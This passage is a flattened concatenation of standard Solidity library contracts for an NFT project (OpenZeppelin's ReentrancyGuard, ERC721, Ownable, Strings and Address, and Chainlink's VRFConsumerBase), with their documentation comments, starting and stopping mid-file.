SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constructor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 private constant USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness(bytes32 _keyHash, uint256 _fee) internal returns (bytes32 requestId) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface internal immutable LINK; address private immutable vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 => uint256) /* keyHash */ /* nonce */ private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor(address _vrfCoordinator, address _link) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness(bytes32 requestId, uint256 randomness) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } //SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface ISpendable is IERC20 { function getSpendable(address) external view returns (uint256); function spend(address, uint256) external; function credit(address, uint256) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * 